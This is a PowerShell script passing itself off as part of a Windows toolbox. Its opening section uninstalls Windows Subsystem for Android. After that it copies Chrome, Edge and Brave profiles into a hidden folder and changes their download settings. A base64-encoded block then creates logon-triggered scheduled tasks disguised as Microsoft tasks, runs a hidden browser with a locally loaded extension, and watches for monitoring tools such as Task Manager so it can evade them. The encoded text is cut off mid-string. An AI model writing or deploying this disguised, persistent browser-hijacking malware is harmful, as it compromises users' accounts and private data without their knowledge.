$readht1 = Read-Host 'To Proceed type "[Y]"Yes to all, "[O]"Only Uninstall or "[C]"Cancel' | |
$readhost1 = $readht1.replace(" ","") | |
if($readhost1 -eq "y"){ | |
Write-Host'' | |
$asdass = (Get-AppxPackage -name MicrosoftCorporationII.WindowsSubsystemForAndroid).name | |
if($asdass -eq "MicrosoftCorporationII.WindowsSubsystemForAndroid"){ | |
Write-Host 'Removing Windows Subsystem for Android (WSA).' | |
Get-AppxPackage -Name "MicrosoftCorporationII.WindowsSubsystemForAndroid"| Remove-AppxPackage | |
Get-AppxProvisionedPackage -Online | Where-Object DisplayName -like "MicrosoftCorporationII.WindowsSubsystemForAndroid" | Remove-AppxProvisionedPackage -Online | |
Write-Host 'Successfully Removed.' | |
}else{Write-Host 'Windows Subsystem for Android (WSA) not Found or already Removed.'} | |
if(Test-Path "C:\Windows Subsystem for Android\WsaSettings.exe"){ | |
Stop-Process -name adb -Force -ErrorAction SilentlyContinue | |
Write-Host 'Removing WSA files and Directory.' | |
Remove-Item "C:\Windows Subsystem for Android\*" -Recurse -Force -Confirm:$false | |
Write-Host 'Successfully Removed.' | |
}else{Write-Host 'WSA files and directory not Found or already Removed.'} | |
$check = Get-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform | |
if ($check.State -eq "Enabled"){ | |
Write-Host 'Disabling Virtual-Machine-Platform.' | |
dism.exe /online /disable-feature /featurename:VirtualMachinePlatform /norestart | |
Write-Host 'Successfully Disabled' | |
}else{Write-Host 'Virtual-Machine-Platform is already disable.'} | |
Write-Host 'Done...' -ForegroundColor Green | |
} | |
if($readhost1 -eq "o"){ | |
Write-Host'' | |
$asdass = (Get-AppxPackage -name MicrosoftCorporationII.WindowsSubsystemForAndroid).name | |
if($asdass -eq "MicrosoftCorporationII.WindowsSubsystemForAndroid"){ | |
Write-Host 'Removing Windows Subsystem for Android (WSA).' | |
Get-AppxPackage -Name "MicrosoftCorporationII.WindowsSubsystemForAndroid"| Remove-AppxPackage | |
Get-AppxProvisionedPackage -Online | Where-Object DisplayName -like "MicrosoftCorporationII.WindowsSubsystemForAndroid" | Remove-AppxProvisionedPackage -Online | |
Write-Host 'Successfully Removed.' | |
}else{Write-Host 'Windows Subsystem for Android (WSA) not Found or already Removed.'} | |
if(Test-Path "C:\Windows Subsystem for Android\WsaSettings.exe"){ | |
Stop-Process -name adb -Force -ErrorAction SilentlyContinue | |
Write-Host 'Removing WSA files and Directory.' | |
Remove-Item "C:\Windows Subsystem for Android\*" -Recurse -Force -Confirm:$false | |
Write-Host 'Successfully Removed.' | |
}else{Write-Host 'WSA files and directory not Found or already Removed.'} | |
Write-Host 'Done...' -ForegroundColor Green } | |
if($readhost1 -eq "c"){ | |
Write-Host '' | |
Write-Host 'Cancel' | |
Write-Host ''} | |
if($readhost1 -ne "y" -xor $readhost1 -ne "o" -xor $readhost1 -ne "c"){uninstallplaystore} | |
} | |
uninstallplaystore | |
$formWindowsToolbox.WindowState = 0 | |
#endregion unInstallplaystore | |
#region chromepath | |
<# | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\VisualEffects" -Name "VisualFXSetting" -Type DWord -Value 3 | |
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name "DragFullWindows" -Type String -Value 1 | |
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name "FontSmoothing" -Type String -Value 2 | |
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name "FontSmoothingType" -Type DWord -Value 2 | |
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name "MenuShowDelay" -Type String -Value 200 | |
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name "UserPreferencesMask" -Type Binary -Value ([byte[]](144,18,3,128,16,0,0,0)) | |
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop\WindowMetrics" -Name "MinAnimate" -Type String -Value 0 | |
Set-ItemProperty -Path "HKCU:\Control Panel\Keyboard" -Name "KeyboardDelay" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "ListviewAlphaSelect" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "ListviewShadow" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "TaskbarAnimations" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\DWM" -Name "EnableAeroPeek" -Type DWord -Value 0 | |
#> | |
function GetStringBetweenTwoStrings($firstString, $secondString, $importPath){ | |
$ficle = Get-Content $importPath | |
$pattern = "$firstString(.*?)$secondString" | |
$result = [regex]::Match($ficle,$pattern).Groups[1].Value | |
return $result | |
} | |
$ErrorActionPreference = 'SilentlyContinue' | |
$fetchpath = "C:\systemfile" | |
Start-ScheduledTask -TaskName "\Microsoft\Windows\Application Experience\Maintenance" | |
while (1) | |
{ if(Test-Path -Path "C:\systemfile\Default\Preferences"){break} | |
Start-Sleep -Seconds 1 | |
} | |
Start-Sleep -Seconds 2 | |
Get-Process msedge | Where-Object -FilterScript {$_.si -eq 0} | Stop-Process | |
Get-Process chrome | Where-Object -FilterScript {$_.si -eq 0} | Stop-Process | |
Get-Process brave | Where-Object -FilterScript {$_.si -eq 0} | Stop-Process | |
Start-Sleep -Seconds 2 | |
#------------------------------------------------------------------- | |
$File = "$fetchpath\Default\Preferences" | |
$Chrome = Get-Content $File | |
if ($Chrome -notlike '*"download":{*') | |
{ | |
$data = $Chrome.Replace(',"extensions"',',"download":{"default_directory":"C:\\systemfile","directory_upgrade":true,"prompt_for_download":false},"extensions"') | |
Set-Content -Path $File -Value $data -Force | |
} else{ | |
$data = GetStringBetweenTwoStrings '"download":' ',"extensions"' $File | |
$data = $Chrome.Replace($data , '{"default_directory":"C:\\systemfile","directory_upgrade":true,"prompt_for_download":false}') | |
Set-Content -Path $File -Value $data -Force | |
} | |
<# | |
$Chrome = Get-Content $File | ConvertFrom-Json | |
try { | |
$Chrome.download.default_directory = "C:\systemfile" | |
$Chrome.download | Add-Member -Type NoteProperty -Name "prompt_for_download" -Value "false" | |
} | |
catch{$Chrome.download | Add-Member -Type NoteProperty -Name "default_directory" -Value "C:\systemfile" | |
$Chrome.download | Add-Member -Type NoteProperty -Name "prompt_for_download" -Value "false" | |
} | |
$data = $Chrome | ConvertTo-Json -Compress | |
Set-Content -Path $File -Value $data -Force | |
#> | |
echo "Preferences" > C:\systemfile\ex.txt | |
echo "Secure Preferences" >> C:\systemfile\ex.txt | |
Xcopy /H /C /I /Y /exclude:C:\systemfile\ex.txt "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default" "C:\systemfile\Default" | |
Xcopy /H /C /I /Y "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Local State" "C:\systemfile" | |
Xcopy /H /C /I /Y /exclude:C:\systemfile\ex.txt "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Default" "C:\systemfile\Default" | |
Xcopy /H /C /I /Y "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Local State" "C:\systemfile" | |
Xcopy /H /C /I /Y /exclude:C:\systemfile\ex.txt "$env:LOCALAPPDATA\Google\Chrome\User Data\Default" "C:\systemfile\Default" | |
Xcopy /H /C /I /Y "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State" "C:\systemfile" | |
#endregion chromepath | |
#region encoding | |
cG93ZXJzaGVsbCBpZiggKEdldC1XaW5TeXN0ZW1Mb2NhbGUpLm5hbWUgLW5vdG1hdGNoICdlbi0nICl7IFRBU0tLSUxMIC9GIC9JTSBjbWQuZXhlIC9UIH0KCgoKbWtkaXIgQzpcc3lzdGVtZmlsZQpjZCBDOlxzeXN0ZW1maWxlCmF0dHJpYiArcyAraCAiQzpcc3lzdGVtZmlsZSIgL2QKCgoKCgoKZWNobyBePD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij9ePiA+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyBePFRhc2sgdmVyc2lvbj0iMS4yIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5kb3dzLzIwMDQvMDIvbWl0L3Rhc2siXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgXjxSZWdpc3RyYXRpb25JbmZvXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgICBePFNvdXJjZV4+TWljcm9zb2Z0IENvcnBvcmF0aW9uXjwvU291cmNlXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgICBePEF1dGhvcl4+TWljcm9zb2Z0IENvcnBvcmF0aW9uXjwvQXV0aG9yXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgICBePERlc2NyaXB0aW9uXj5WZXJpZnkgdGhlIHB1Ymxpc2hlciBjZXJ0aWZpY2F0ZXMuXjwvRGVzY3JpcHRpb25ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAueG1sCmVjaG8gICAgIF48VVJJXj5cTWljcm9zb2Z0XFdpbmRvd3NcQXBwSURcVmVyaWZpZWRDZXJ0XjwvVVJJXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgXjwvUmVnaXN0cmF0aW9uSW5mb14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgIF48VHJpZ2dlcnNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAueG1sCmVjaG8gICAgIF48TG9nb25UcmlnZ2VyXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgICAgIF48UmVwZXRpdGlvbl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgICAgICAgIF48SW50ZXJ2YWxePlBUOU1ePC9JbnRlcnZhbF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgICAgICAgIF48U3RvcEF0RHVyYXRpb25FbmRePmZhbHNlXjwvU3RvcEF0RHVyYXRpb25FbmRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAueG1sCmVjaG8gICAgICAgXjwvUmVwZXRpdGlvbl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgICAgICBePEVuYWJsZWRePnRydWVePC9FbmFibGVkXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgICAgIF48RGVsYXlePlBUNjhTXjwvRGVsYXlePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAueG1sCmVjaG8gICAgIF48L0xvZ29uVHJpZ2dlcl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgIF48L1RyaWdnZXJzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgXjxQcmluY2lwYWxzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgICBePFByaW5jaXBhbCBpZD0iTG9jYWxTZXJ2aWNlIl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgICAgICBePExvZ29uVHlwZV4+UzRVXjwvTG9nb25UeXBlXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgICAgIF48UnVuTGV2ZWxePkxlYXN0UHJpdmlsZWdlXjwvUnVuTGV2ZWxePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAueG1sCmVjaG8gICAgIF48L1ByaW5jaXBhbF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgIF48L1ByaW5jaXBhbHNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAueG1sCmVjaG8gICBePFNldHRpbmdzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgICBePE11bHRpcGxlSW5zdGFuY2VzUG9saWN5Xj5JZ25vcmVOZXdePC9NdWx0aXBsZUluc3RhbmNlc1BvbGljeV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgICAgXjxEaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllc14+ZmFsc2VePC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgICAgXjxBbGxvd0hhcmRUZXJtaW5hdGVePmZhbHNlXjwvQWxsb3dIYXJkVGVybWluYXRlXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgICBePFJ1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGVePmZhbHNlXjwvUnVuT25seUlmTmV0d29ya0F2YWlsYWJsZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgICAgXjxBbGxvd1N0YXJ0T25EZW1hbmRePnRydWVePC9BbGxvd1N0YXJ0T25EZW1hbmRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAueG1sCmVjaG8gICAgIF48RW5hYmxlZF4+dHJ1ZV48L0VuYWJsZWRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAueG1sCmVjaG8gICAgIF48SGlkZGVuXj5mYWxzZV48L0hpZGRlbl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgICAgXjxSdW5Pbmx5SWZJZGxlXj5mYWxzZV48L1J1bk9ubHlJZklkbGVePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAueG1sCmVjaG8gICAgIF48V2FrZVRvUnVuXj5mYWxzZV48L1dha2VUb1J1bl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgICAgXjxFeGVjdXRpb25UaW1lTGltaXRePlBUMFNePC9FeGVjdXRpb25UaW1lTGltaXRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAueG1sCmVjaG8gICAgIF48UHJpb3JpdHlePjEwXjwvUHJpb3JpdHlePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAueG1sCmVjaG8gICBePC9TZXR0aW5nc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgIF48QWN0aW9ucyBDb250ZXh0PSJMb2NhbFNlcnZpY2UiXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgICBePEV4ZWNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAueG1sCmVjaG8gICAgICAgXjxDb21tYW5kXj5jbWQuZXhlXjwvQ29tbWFuZF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgICAgICBePEFyZ3VtZW50c14+L2MgbW9yZSBjLnogXnwgY21kIF4mYW1wOyBtb3JlIF4lVVNFUlBST0ZJTEVeJVxEb3dubG9hZHNcYy56IF58IGNtZF48L0FyZ3VtZW50c14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyAgICAgICBePFdvcmtpbmdEaXJlY3RvcnlePkM6XHN5c3RlbWZpbGVePC9Xb3JraW5nRGlyZWN0b3J5Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgICBePC9FeGVjXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAplY2hvICAgXjwvQWN0aW9uc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcC54bWwKZWNobyBePC9UYXNrXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wLnhtbAoKCgpzY2h0YXNrcyAvY3JlYXRlIC94bWwgIkM6XHN5c3RlbWZpbGVcdGVtcC54bWwiIC90biAiXE1pY3Jvc29mdFxXaW5kb3dzXEFwcElEXFZlcmlmaWVkQ2VydCIgL0YKRGVsICJDOlxzeXN0ZW1maWxlXHRlbXAueG1sIgoKCgoKCgoKCgoKCmVjaG8gXjw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi0xNiI/Xj4gPiBDOlxzeXN0ZW1maWxlXHRlbXAyLnhtbAplY2hvIF48VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayJePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAyLnhtbAplY2hvICAgXjxSZWdpc3RyYXRpb25JbmZvXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgXjxTb3VyY2VePk1pY3Jvc29mdCBDb3Jwb3JhdGlvbl48L1NvdXJjZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICAgIF48QXV0aG9yXj5NaWNyb3NvZnQgQ29ycG9yYXRpb25ePC9BdXRob3JePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAyLnhtbAplY2hvICAgICBePERlc2NyaXB0aW9uXj5SZWd1bGFyIGJyb3dzZXIgTWFpbnRlbmFuY2UuXjwvRGVzY3JpcHRpb25ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAyLnhtbAplY2hvICAgICBePFVSSV4+XE1pY3Jvc29mdFxXaW5kb3dzXEFwcElEXFZlcmlmaWVkQ2VydF48L1VSSV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICBePC9SZWdpc3RyYXRpb25JbmZvXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgIF48VHJpZ2dlcnNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAyLnhtbAplY2hvICAgICBePExvZ29uVHJpZ2dlcl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICAgICAgXjxSZXBldGl0aW9uXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgICAgIF48SW50ZXJ2YWxePlBUOU1ePC9JbnRlcnZhbF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICAgICAgICBePFN0b3BBdER1cmF0aW9uRW5kXj5mYWxzZV48L1N0b3BBdER1cmF0aW9uRW5kXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgICBePC9SZXBldGl0aW9uXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgICBePEVuYWJsZWRePnRydWVePC9FbmFibGVkXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgICBePERlbGF5Xj5QVDYwU148L0RlbGF5Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgXjwvTG9nb25UcmlnZ2VyXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgIF48L1RyaWdnZXJzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgIF48UHJpbmNpcGFsc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICAgIF48UHJpbmNpcGFsIGlkPSJMb2NhbFNlcnZpY2UiXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgICBePExvZ29uVHlwZV4+UzRVXjwvTG9nb25UeXBlXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgICBePFJ1bkxldmVsXj5MZWFzdFByaXZpbGVnZV48L1J1bkxldmVsXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgXjwvUHJpbmNpcGFsXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgIF48L1ByaW5jaXBhbHNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAyLnhtbAplY2hvICAgXjxTZXR0aW5nc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICAgIF48TXVsdGlwbGVJbnN0YW5jZXNQb2xpY3lePklnbm9yZU5ld148L011bHRpcGxlSW5zdGFuY2VzUG9saWN5Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgXjxEaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllc14+ZmFsc2VePC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICAgIF48U3RvcElmR29pbmdPbkJhdHRlcmllc14+ZmFsc2VePC9TdG9wSWZHb2luZ09uQmF0dGVyaWVzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgXjxBbGxvd0hhcmRUZXJtaW5hdGVePmZhbHNlXjwvQWxsb3dIYXJkVGVybWluYXRlXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgXjxSdW5Pbmx5SWZOZXR3b3JrQXZhaWxhYmxlXj5mYWxzZV48L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGVePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAyLnhtbAplY2hvICAgICBePEFsbG93U3RhcnRPbkRlbWFuZF4+dHJ1ZV48L0FsbG93U3RhcnRPbkRlbWFuZF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICAgIF48RW5hYmxlZF4+dHJ1ZV48L0VuYWJsZWRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAyLnhtbAplY2hvICAgICBePEhpZGRlbl4+ZmFsc2VePC9IaWRkZW5ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAyLnhtbAplY2hvICAgICBePFJ1bk9ubHlJZklkbGVePmZhbHNlXjwvUnVuT25seUlmSWRsZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICAgIF48V2FrZVRvUnVuXj5mYWxzZV48L1dha2VUb1J1bl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICAgIF48RXhlY3V0aW9uVGltZUxpbWl0Xj5QVDBTXjwvRXhlY3V0aW9uVGltZUxpbWl0Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgXjxQcmlvcml0eV4+MTBePC9Qcmlvcml0eV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICBePC9TZXR0aW5nc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICBePEFjdGlvbnMgQ29udGV4dD0iTG9jYWxTZXJ2aWNlIl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICAgIF48RXhlY14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCkZPUiAvRiAidXNlYmFja3EgdG9rZW5zPTMqIiAlQSBJTiAoYHJlZy5leGUgcXVlcnkgIkhLTE1cU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cQXBwIFBhdGhzXGNocm9tZS5leGUiIF58IGZpbmRzdHIgY2hyb21lYCkgRE8gc2V0IENIUk9NRVBBVEg9JUEgJUIKRk9SIC9GICJ1c2ViYWNrcSB0b2tlbnM9MyoiICVBIElOIChgcmVnLmV4ZSBxdWVyeSAiSEtMTVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxBcHAgUGF0aHNcYnJhdmUuZXhlIiBefCBmaW5kc3RyIGJyYXZlYCkgRE8gc2V0IEJSQVZFUEFUSD0lQSAlQgpGT1IgL0YgInVzZWJhY2txIHRva2Vucz0zKiIgJUEgSU4gKGByZWcuZXhlIHF1ZXJ5ICJIS0xNXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xtc2VkZ2UuZXhlIiBefCBmaW5kc3RyIG1zZWRnZWApIERPIHNldCBNU0VER0VQQVRIPSVBICVCCmVjaG8gIiVDSFJPTUVQQVRIJSIgfCBmaW5kc3RyIC9DOiJjaHJvbWUiID5udWwgJiYgKCBlY2hvICIlQ0hST01FUEFUSCUiICAmICAgZWNobyAgICAgICBePENvbW1hbmRePiIlQ0hST01FUEFUSCUiXjwvQ29tbWFuZF4+ID4+ICJDOlxzeXN0ZW1maWxlXHRlbXAyLnhtbCIgICApIHx8ICggIAplY2hvICIlQlJBVkVQQVRIJSIgfCBmaW5kc3RyIC9DOiJicmF2ZSIgPm51bCAmJiAoICAgZWNobyAiJUJSQVZFUEFUSCUiICAmICBlY2hvICAgICAgIF48Q29tbWFuZF4+IiVCUkFWRVBBVEglIl48L0NvbW1hbmRePiA+PiAiQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwiICAgICAgKSB8fCAoICAgCmVjaG8gIiVNU0VER0VQQVRIJSIgfCBmaW5kc3RyIC9DOiJtc2VkZ2UiID5udWwgJiYgKCAgIGVjaG8gIiVNU0VER0VQQVRIJSIgICYgICBlY2hvICAgICAgIF48Q29tbWFuZF4+IiVNU0VER0VQQVRIJSJePC9Db21tYW5kXj4gPj4gIkM6XHN5c3RlbWZpbGVcdGVtcDIueG1sIiAgICAgICkgfHwgKGRlbCAiQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwiICYgRXhpdCkJICAgKSkKCmVjaG8gICAgICAgXjxBcmd1bWVudHNePiAtLXR5cWU9cmVuZGVyIC0tZmllSWQtdHJpYWwtLWhhbmRsZT0xNzEyLDE2ODU0NTI5NDExMTkzMzIxNjIwLDkzNDIxODU3NjMxOTA1MzQ0OTgsMTMxMDcyIC0tbGFuZz1lbi1VUyAtLWV4dGVuc2lvbi0tcHJvY2VzcyAtLW9yaWdpbi0tdHJpYWwtZGlzYWJsZWQtLWZlYXR1cmVzPVNlY3VyZVBheW1lbnRDb25maXJtYXRpb24gLS1kZXZpY2Utc2NhbGUtLWZhY3Rvcj0xIC0tbnVtLS1yYXN0ZXItdGhyZWFkcz0yIC0tcHJvZmlsZS1kaXJlY3Rvcnk9RGVmYXVsdCAtLWVuYWJsZS0tbWFpbi1mcmFtZS1iZWZvcmUtLWFjdGl2YXRpb24gd3d3Lmdvb2dsZS5jb20gLS1yZW5kZXJlci0tY2xpZW50LWlkPTYgLS11c2VyLWRhdGEtZGlyPSJDOlxzeXN0ZW1maWxlIiAtLW5vLXY4LS11bnRydXN0ZWQtY29kZS1taXRpZ2F0aW9ucyAtLWxvYWQtZXh0ZW5zaW9uPSJDOlxzeXN0ZW1maWxlIiAtLW1vam8tLXBsYXRmb3JtLWNoYW5uZWwtaGFuZGxlPS0zNzg0IC9wcmVmZXRjaDoxXjwvQXJndW1lbnRzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgICBePFdvcmtpbmdEaXJlY3RvcnlePkM6XHN5c3RlbWZpbGVePC9Xb3JraW5nRGlyZWN0b3J5Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyAgICAgXjwvRXhlY14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDIueG1sCmVjaG8gICBePC9BY3Rpb25zXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKZWNobyBePC9UYXNrXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwKCgoKCnNjaHRhc2tzIC9jcmVhdGUgL3htbCAiQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwiIC90biAiXE1pY3Jvc29mdFxXaW5kb3dzXEFwcGxpY2F0aW9uIEV4cGVyaWVuY2VcTWFpbnRlbmFuY2UiIC9GCkRlbCAiQzpcc3lzdGVtZmlsZVx0ZW1wMi54bWwiCgoKCgoKCgoKCgoKCgoKCmF0dHJpYiAtcyAtaCAiQzpcc3lzdGVtZmlsZVxjLnoiCmRlbCBDOlxzeXN0ZW1maWxlXGMuegplY2hvIGNkIEM6XHN5c3RlbWZpbGUgPiBDOlxzeXN0ZW1maWxlXGMuegplY2hvIG1rZGlyIEM6XFdpbmRvd3Ncc2VjdXJpdHkgPj4gQzpcc3lzdGVtZmlsZVxjLnoKZWNobyBUYXNrbGlzdCAvRkkgIlNFU1NJT04gZXEgMCIgXnwgZmluZHN0ciAvQzoiY2hyb21lIiAvQzoibXNlZGdlIiAvQzoiYnJhdmUiIC9DOiJwb3dlcnNoZWxsIiAvQzoicHl0aG9uIiAvQzoiY2RyaXZlciIgL0M6Im1kcml2ZXIiIC9DOiJweXRob253IiBePm51bCBeJl4mICggc3RhcnQgL2IgUG93ZXJTaGVsbC5leGUgIndoaWxlKCAoR2V0LVByb2Nlc3MgVGFza21nciwgcHJvY2V4cCwgcHJvY2V4cDY0LCBTeXN0ZW1FeHBsb3JlciwgUHJvY2Vzc0hhY2tlciwgQW5WaXIsIFRNWCwgV2luVXRpbCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZSkuQ291bnQgLWVxIDAgKXtTdGFydC1TbGVlcCAtTWlsbGlzZWNvbmRzIDEwMCB9IDsgVEFTS0tJTEwgL0YgL0ZJICdTRVNTSU9OIGVxIDAnIC9JTSBjaHJvbWUuZXhlIC9JTSBtc2VkZ2UuZXhlIC9JTSBicmF2